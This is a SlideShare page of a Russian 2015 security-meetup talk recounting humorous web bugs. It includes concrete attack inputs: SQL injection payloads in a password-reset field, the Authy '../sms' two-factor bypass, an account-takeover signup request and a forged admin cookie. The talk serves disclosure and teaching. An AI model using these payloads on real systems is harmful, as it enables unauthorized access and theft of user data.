SlideShare a Scribd company logo
1 of 34
learnppt.com
LOGO
Ты такой смешной!!!1!))00)
Весёлые (и не очень) баги и взломы
9 апреля 2015
#securitymeetup
ПРЕДУПРЕЖДЕНИЕ!
Последующие слайды содержат сцены
сексуального насилия над web-приложениями
и програмным обеспечением
различной тематики и направленности.
Копирование и воспроизведение векторов атак
карается 272 статьей Уголовного кодекса
Российской Федерации, хотя такие экземпляры
ещё и найти надо, так что можете попробовать,
но если что, я вас предупреждал! Ну вы поняли...
3
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
Время интересных
ИСТОРИЙ
#securitymeetup
4
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@isox_xx
#securitymeetup
5
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
GET /shutdown/ HTTP/1.1
Host: up-fotki.yandex.ru
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0)
Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://fotki.yandex.ru/upload?force=js
Cервак выключается...
https://up-fotki.yandex.ru/shutdown/
@isox_xx
#securitymeetup
6
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@isox_xx
#securitymeetup
7
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@isox_xx
#securitymeetup
8
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@isox_xx
#securitymeetup
9
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@webpentest
POST /signup/claim/id*/ HTTP/1.1
...
CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&email=email@example.com&p
assword=test&login=MyLogin
POST /signup/claim/WMkiheTT-8kRslImVLWMVw/ HTTP/1.1
...
CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&email=email@example.com&p
assword=test&login=Administrator
Регистрация курильщика:
Регистрация здорового человека:
*Где id - уникальный идентификатор, который берётся... На странице существующего пользователя
#securitymeetup
10
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@webpentest
Уже существует пользователь? Не беда!
В итоге перекидывает в админку сервиса с
"свежереганным" логином.
#securitymeetup
11
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@4rt3m
#securitymeetup
12
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@4rt3m
#securitymeetup
13
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
#securitymeetup
14
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@fb1h2s @msecnet
#securitymeetup
15
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@homakov
#securitymeetup
16
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@homakov
1. Вводим ../sms в поле токена
2. Клиент кодирует это как ..%2fsms и делает запрос на
api.authy.com/protected/json/verify/..%2fsms/authy_id
3. path_traversal декодирует полученный URL на раннем этапе в
api.authy.com/protected/json/verify/../sms/authy_id, делит все по / и удаляет директорию
/verify
4. Теперь само приложение получает модифицированный путь
api.authy.com/protected/json/sms/authy_id который посылает СМС жертве и возвращает
200 статус и ответом {«success»:true,«message»:«SMS token was sent»,
«cellphone»:"+1-XXX-XXX-XX85"}
5. Наш клиент который хотел проверить наш токен видит 200 статус и делает вывод
что токен правильный. Даже если используется кастомная реализация API, клиент
скорее всего ищет success=true что в нашем ответе тоже присутствует.
Попросту говоря введя ../sms в поле токена можно было обойти двух факторную
аутенфикацию на всех сайтах использующих Authy.
#securitymeetup
17
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
#securitymeetup
18
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
#securitymeetup
19
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@fgkm_
Когда имя пользователя в url
#securitymeetup
20
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@Black2Fan
RCE В ФОРМИРОВАНИИ CSS ФАЙЛА!!!!!11!!!!!адин!!
#securitymeetup
21
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
Root, пароль для
слабаков!
#securitymeetup
22
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@d90andrew
Восстановление пароля.
Поле для email'а:
my@gmail.com' and 'a'='a# - письмо приходит
my@gmail.com' and 'a'='b# - не отправляется
my@gmail.com' union select 1,2,3,4,5,6#
#securitymeetup
23
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@d90andrew
my@gmail.com' union select
1,2,3,concat_ws(0x3a,version(),database()),5,6#
#securitymeetup
24
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@d90andrew
Пара часов и база пользователей в кармане!
Точнее в почте...
#securitymeetup
25
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
#securitymeetup
26
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
ЧОЭТА?
#securitymeetup
27
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
@asintsov
Привет, сервак, как жизнь? Как дети? Форкаешься еще?
Если ты ADMIN, то хэш твоего пароля XXXXXXX!
Ты уверен, что у твоего пароля такой хэш?
Ну ты скажешь! Конечно! У меня такой же хэш и получился!
Админ я или кто, по-твоему!
Ну раз Админ, то проходи!
Ну привет, клиентик. Ты сам-то чьих будешь?
Ну как же это? Админ я, Админ!
Соединение установлено. Текущий пользователь: ADMIN
Самая крутая СУБД в мире - OpenEdge
#securitymeetup
28
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
ЧТОЧТО ЗАЗА
херняхерня туттут
ПРОИСХОДИТ??ПРОИСХОДИТ??
#securitymeetup
29
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
Были подобраны файлы и папки:
• /image/
• /css/
• /js/
• /index.php
• /login.php
• /logout.php
#securitymeetup
30
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
GET /logout.php HTTP/1.1
Host: *******.ru
HTTP/1.1 200 Ok
Server: nginx
Date: Dec, 29 Apr 1970 13:14:41 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Set-Cookie: 7ed93bc3576665339e899f356890fa5e=false; Path=/
Запрос:
Ответ:
#securitymeetup
31
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
GET /index.php HTTP/1.1
Host: *******.ru
Cookie: 7ed93bc3576665339e899f356890fa5e=true
Запрос:
Добро пожаловать в панель
администратора!
ииииииииии...
#securitymeetup
32
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
А бывает наоборот...
#securitymeetup
33
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
#securitymeetup
Bo0oM
@i_bo0om
Пишу лучше чем говорю
(инфа сотка)
34
Questions & feedback? Email me – dave@learnppt.com
More PowerPoint resources and downloads available at learnppt.com.learnppt.com
LOGO
#securitymeetup
СДАЛСДАЛ
ИГЭИГЭ
??http://goo.gl/TxxCi3

More Related Content

Similar to Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

Продукт или проект - Александр Борисов Dev2Dev v1.5 23.11.2014
Продукт или проект - Александр Борисов  Dev2Dev v1.5 23.11.2014Продукт или проект - Александр Борисов  Dev2Dev v1.5 23.11.2014
Продукт или проект - Александр Борисов Dev2Dev v1.5 23.11.2014Dev2Dev
 
Сумма технологий: +5 к скорости разработки
Сумма технологий: +5 к скорости разработкиСумма технологий: +5 к скорости разработки
Сумма технологий: +5 к скорости разработкиAstra Media Group, Russia
 
Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09
Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09
Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09Сообщество eLearning PRO
 
Trening modul1-webinar5
Trening modul1-webinar5Trening modul1-webinar5
Trening modul1-webinar5olgaoov
 
SecDevOps. Разработка, DevOps и безопасность.
SecDevOps. Разработка, DevOps и безопасность.SecDevOps. Разработка, DevOps и безопасность.
SecDevOps. Разработка, DevOps и безопасность.Valery Boronin
 
Инструменты образовательного бизнеса
Инструменты образовательного бизнесаИнструменты образовательного бизнеса
Инструменты образовательного бизнесаAlex Krol
 
Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10
Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10
Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10Сообщество eLearning PRO
 
eLearningSoft - JoomlaLMs
eLearningSoft -  JoomlaLMseLearningSoft -  JoomlaLMs
eLearningSoft - JoomlaLMseLearninfSoft
 
Slideshare presentation at askcap
Slideshare presentation at askcapSlideshare presentation at askcap
Slideshare presentation at askcapaskcap
 
Елена Джетпыспаева — Открытие. Новости и планы БЭМ-сообщества
Елена Джетпыспаева — Открытие. Новости и планы БЭМ-сообществаЕлена Джетпыспаева — Открытие. Новости и планы БЭМ-сообщества
Елена Джетпыспаева — Открытие. Новости и планы БЭМ-сообществаYandex
 
Cоздание приложений со знанием Perl
Cоздание приложений со знанием PerlCоздание приложений со знанием Perl
Cоздание приложений со знанием PerlAnatoly Sharifulin
 
Russian webcast device provisioning
Russian webcast device provisioningRussian webcast device provisioning
Russian webcast device provisioningCisco Russia
 
Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»
Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»
Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»Sigma Software
 

Similar to Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group (20)

Продукт или проект - Александр Борисов Dev2Dev v1.5 23.11.2014
Продукт или проект - Александр Борисов  Dev2Dev v1.5 23.11.2014Продукт или проект - Александр Борисов  Dev2Dev v1.5 23.11.2014
Продукт или проект - Александр Борисов Dev2Dev v1.5 23.11.2014
 
ТЗ на сайт
ТЗ на сайтТЗ на сайт
ТЗ на сайт
 
Сумма технологий: +5 к скорости разработки
Сумма технологий: +5 к скорости разработкиСумма технологий: +5 к скорости разработки
Сумма технологий: +5 к скорости разработки
 
как работать с Youtube
как работать с Youtube как работать с Youtube
как работать с Youtube
 
Ulect brief rus1
Ulect brief rus1Ulect brief rus1
Ulect brief rus1
 
Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09
Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09
Подготовка ТЗ на электронные курсы. Колоденский А. 26.11.09
 
Trening modul1-webinar5
Trening modul1-webinar5Trening modul1-webinar5
Trening modul1-webinar5
 
Iro ufa
Iro ufaIro ufa
Iro ufa
 
SecDevOps. Разработка, DevOps и безопасность.
SecDevOps. Разработка, DevOps и безопасность.SecDevOps. Разработка, DevOps и безопасность.
SecDevOps. Разработка, DevOps и безопасность.
 
Инструменты образовательного бизнеса
Инструменты образовательного бизнесаИнструменты образовательного бизнеса
Инструменты образовательного бизнеса
 
Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10
Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10
Компетенции внутренних разработчиков курсов_Тихомирова Е.В. 14.10.10
 
eLearningSoft - JoomlaLMs
eLearningSoft -  JoomlaLMseLearningSoft -  JoomlaLMs
eLearningSoft - JoomlaLMs
 
Slideshare presentation at askcap
Slideshare presentation at askcapSlideshare presentation at askcap
Slideshare presentation at askcap
 
Youtube. FRWL
Youtube. FRWLYoutube. FRWL
Youtube. FRWL
 
Елена Джетпыспаева — Открытие. Новости и планы БЭМ-сообщества
Елена Джетпыспаева — Открытие. Новости и планы БЭМ-сообществаЕлена Джетпыспаева — Открытие. Новости и планы БЭМ-сообщества
Елена Джетпыспаева — Открытие. Новости и планы БЭМ-сообщества
 
News and plan of BEM community
News and plan of BEM communityNews and plan of BEM community
News and plan of BEM community
 
Cоздание приложений со знанием Perl
Cоздание приложений со знанием PerlCоздание приложений со знанием Perl
Cоздание приложений со знанием Perl
 
Корольков
КорольковКорольков
Корольков
 
Russian webcast device provisioning
Russian webcast device provisioningRussian webcast device provisioning
Russian webcast device provisioning
 
Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»
Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»
Володимир Дем’яненко, «How to become a Test Automation Engineer. My way»
 

More from Mail.ru Group

Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...
Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...
Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...Mail.ru Group
 
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...Mail.ru Group
 
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир Дубровин
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир ДубровинДругая сторона баг-баунти-программ: как это выглядит изнутри, Владимир Дубровин
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир ДубровинMail.ru Group
 
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...Mail.ru Group
 
Управление инцидентами в Почте Mail.ru, Антон Викторов
Управление инцидентами в Почте Mail.ru, Антон ВикторовУправление инцидентами в Почте Mail.ru, Антон Викторов
Управление инцидентами в Почте Mail.ru, Антон ВикторовMail.ru Group
 
DAST в CI/CD, Ольга Свиридова
DAST в CI/CD, Ольга СвиридоваDAST в CI/CD, Ольга Свиридова
DAST в CI/CD, Ольга СвиридоваMail.ru Group
 
Почему вам стоит использовать свой велосипед и почему не стоит Александр Бел...
Почему вам стоит использовать свой велосипед и почему не стоит  Александр Бел...Почему вам стоит использовать свой велосипед и почему не стоит  Александр Бел...
Почему вам стоит использовать свой велосипед и почему не стоит Александр Бел...Mail.ru Group
 
CV в пайплайне распознавания ценников товаров: трюки и хитрости Николай Масл...
CV в пайплайне распознавания ценников товаров: трюки и хитрости  Николай Масл...CV в пайплайне распознавания ценников товаров: трюки и хитрости  Николай Масл...
CV в пайплайне распознавания ценников товаров: трюки и хитрости Николай Масл...Mail.ru Group
 
RAPIDS: ускоряем Pandas и scikit-learn на GPU Павел Клеменков, NVidia
RAPIDS: ускоряем Pandas и scikit-learn на GPU  Павел Клеменков, NVidiaRAPIDS: ускоряем Pandas и scikit-learn на GPU  Павел Клеменков, NVidia
RAPIDS: ускоряем Pandas и scikit-learn на GPU Павел Клеменков, NVidiaMail.ru Group
 
WebAuthn в реальной жизни, Анатолий Остапенко
WebAuthn в реальной жизни, Анатолий ОстапенкоWebAuthn в реальной жизни, Анатолий Остапенко
WebAuthn в реальной жизни, Анатолий ОстапенкоMail.ru Group
 
AMP для электронной почты, Сергей Пешков
AMP для электронной почты, Сергей ПешковAMP для электронной почты, Сергей Пешков
AMP для электронной почты, Сергей ПешковMail.ru Group
 
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила Стрелков
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила СтрелковКак мы захотели TWA и сделали его без мобильных разработчиков, Данила Стрелков
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила СтрелковMail.ru Group
 
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...Mail.ru Group
 
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.Такси
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.ТаксиМетапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.Такси
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.ТаксиMail.ru Group
 
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru Group
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru GroupКак не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru Group
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru GroupMail.ru Group
 
Этика искусственного интеллекта, Александр Кармаев (AI Journey)
Этика искусственного интеллекта, Александр Кармаев (AI Journey)Этика искусственного интеллекта, Александр Кармаев (AI Journey)
Этика искусственного интеллекта, Александр Кармаев (AI Journey)Mail.ru Group
 
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...Mail.ru Group
 
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...Конвергенция технологий как тренд развития искусственного интеллекта, Владими...
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...Mail.ru Group
 
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)Mail.ru Group
 
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()Mail.ru Group
 

More from Mail.ru Group (20)

Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...
Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...
Автоматизация без тест-инженеров по автоматизации, Мария Терехина и Владислав...
 
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...
BDD для фронтенда. Автоматизация тестирования с Cucumber, Cypress и Jenkins, ...
 
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир Дубровин
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир ДубровинДругая сторона баг-баунти-программ: как это выглядит изнутри, Владимир Дубровин
Другая сторона баг-баунти-программ: как это выглядит изнутри, Владимир Дубровин
 
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...
Использование Fiddler и Charles при тестировании фронтенда проекта pulse.mail...
 
Управление инцидентами в Почте Mail.ru, Антон Викторов
Управление инцидентами в Почте Mail.ru, Антон ВикторовУправление инцидентами в Почте Mail.ru, Антон Викторов
Управление инцидентами в Почте Mail.ru, Антон Викторов
 
DAST в CI/CD, Ольга Свиридова
DAST в CI/CD, Ольга СвиридоваDAST в CI/CD, Ольга Свиридова
DAST в CI/CD, Ольга Свиридова
 
Почему вам стоит использовать свой велосипед и почему не стоит Александр Бел...
Почему вам стоит использовать свой велосипед и почему не стоит  Александр Бел...Почему вам стоит использовать свой велосипед и почему не стоит  Александр Бел...
Почему вам стоит использовать свой велосипед и почему не стоит Александр Бел...
 
CV в пайплайне распознавания ценников товаров: трюки и хитрости Николай Масл...
CV в пайплайне распознавания ценников товаров: трюки и хитрости  Николай Масл...CV в пайплайне распознавания ценников товаров: трюки и хитрости  Николай Масл...
CV в пайплайне распознавания ценников товаров: трюки и хитрости Николай Масл...
 
RAPIDS: ускоряем Pandas и scikit-learn на GPU Павел Клеменков, NVidia
RAPIDS: ускоряем Pandas и scikit-learn на GPU  Павел Клеменков, NVidiaRAPIDS: ускоряем Pandas и scikit-learn на GPU  Павел Клеменков, NVidia
RAPIDS: ускоряем Pandas и scikit-learn на GPU Павел Клеменков, NVidia
 
WebAuthn в реальной жизни, Анатолий Остапенко
WebAuthn в реальной жизни, Анатолий ОстапенкоWebAuthn в реальной жизни, Анатолий Остапенко
WebAuthn в реальной жизни, Анатолий Остапенко
 
AMP для электронной почты, Сергей Пешков
AMP для электронной почты, Сергей ПешковAMP для электронной почты, Сергей Пешков
AMP для электронной почты, Сергей Пешков
 
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила Стрелков
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила СтрелковКак мы захотели TWA и сделали его без мобильных разработчиков, Данила Стрелков
Как мы захотели TWA и сделали его без мобильных разработчиков, Данила Стрелков
 
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...
Кейсы использования PWA для партнерских предложений в Delivery Club, Никита Б...
 
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.Такси
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.ТаксиМетапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.Такси
Метапрограммирование: строим конечный автомат, Сергей Федоров, Яндекс.Такси
 
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru Group
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru GroupКак не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru Group
Как не сделать врагами архитектуру и оптимизацию, Кирилл Березин, Mail.ru Group
 
Этика искусственного интеллекта, Александр Кармаев (AI Journey)
Этика искусственного интеллекта, Александр Кармаев (AI Journey)Этика искусственного интеллекта, Александр Кармаев (AI Journey)
Этика искусственного интеллекта, Александр Кармаев (AI Journey)
 
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...
Нейро-машинный перевод в вопросно-ответных системах, Федор Федоренко (AI Jour...
 
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...Конвергенция технологий как тренд развития искусственного интеллекта, Владими...
Конвергенция технологий как тренд развития искусственного интеллекта, Владими...
 
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)
Обзор трендов рекомендательных систем от Пульса, Андрей Мурашев (AI Journey)
 
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()
Мир глазами нейросетей, Данила Байгушев, Александр Сноркин ()
 

Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

  • 1. learnppt.com LOGO Ты такой смешной!!!1!))00) Весёлые (и не очень) баги и взломы 9 апреля 2015 #securitymeetup
  • 2. ПРЕДУПРЕЖДЕНИЕ! Последующие слайды содержат сцены сексуального насилия над web-приложениями и програмным обеспечением различной тематики и направленности. Копирование и воспроизведение векторов атак карается 272 статьей Уголовного кодекса Российской Федерации, хотя такие экземпляры ещё и найти надо, так что можете попробовать, но если что, я вас предупреждал! Ну вы поняли...
  • 3. 3 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO Время интересных ИСТОРИЙ #securitymeetup
  • 4. 4 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @isox_xx #securitymeetup
  • 5. 5 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO GET /shutdown/ HTTP/1.1 Host: up-fotki.yandex.ru User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://fotki.yandex.ru/upload?force=js Cервак выключается... https://up-fotki.yandex.ru/shutdown/ @isox_xx #securitymeetup
  • 6. 6 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @isox_xx #securitymeetup
  • 7. 7 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @isox_xx #securitymeetup
  • 8. 8 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @isox_xx #securitymeetup
  • 9. 9 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @webpentest POST /signup/claim/id*/ HTTP/1.1 ... CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&email=email@example.com&p assword=test&login=MyLogin POST /signup/claim/WMkiheTT-8kRslImVLWMVw/ HTTP/1.1 ... CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&email=email@example.com&p assword=test&login=Administrator Регистрация курильщика: Регистрация здорового человека: *Где id - уникальный идентификатор, который берётся... На странице существующего пользователя #securitymeetup
  • 10. 10 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @webpentest Уже существует пользователь? Не беда! В итоге перекидывает в админку сервиса с "свежереганным" логином. #securitymeetup
  • 11. 11 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @4rt3m #securitymeetup
  • 12. 12 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @4rt3m #securitymeetup
  • 13. 13 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO #securitymeetup
  • 14. 14 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @fb1h2s @msecnet #securitymeetup
  • 15. 15 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @homakov #securitymeetup
  • 16. 16 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @homakov 1. Вводим ../sms в поле токена 2. Клиент кодирует это как ..%2fsms и делает запрос на api.authy.com/protected/json/verify/..%2fsms/authy_id 3. path_traversal декодирует полученный URL на раннем этапе в api.authy.com/protected/json/verify/../sms/authy_id, делит все по / и удаляет директорию /verify 4. Теперь само приложение получает модифицированный путь api.authy.com/protected/json/sms/authy_id который посылает СМС жертве и возвращает 200 статус и ответом {«success»:true,«message»:«SMS token was sent», «cellphone»:"+1-XXX-XXX-XX85"} 5. Наш клиент который хотел проверить наш токен видит 200 статус и делает вывод что токен правильный. Даже если используется кастомная реализация API, клиент скорее всего ищет success=true что в нашем ответе тоже присутствует. Попросту говоря введя ../sms в поле токена можно было обойти двух факторную аутенфикацию на всех сайтах использующих Authy. #securitymeetup
  • 17. 17 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO #securitymeetup
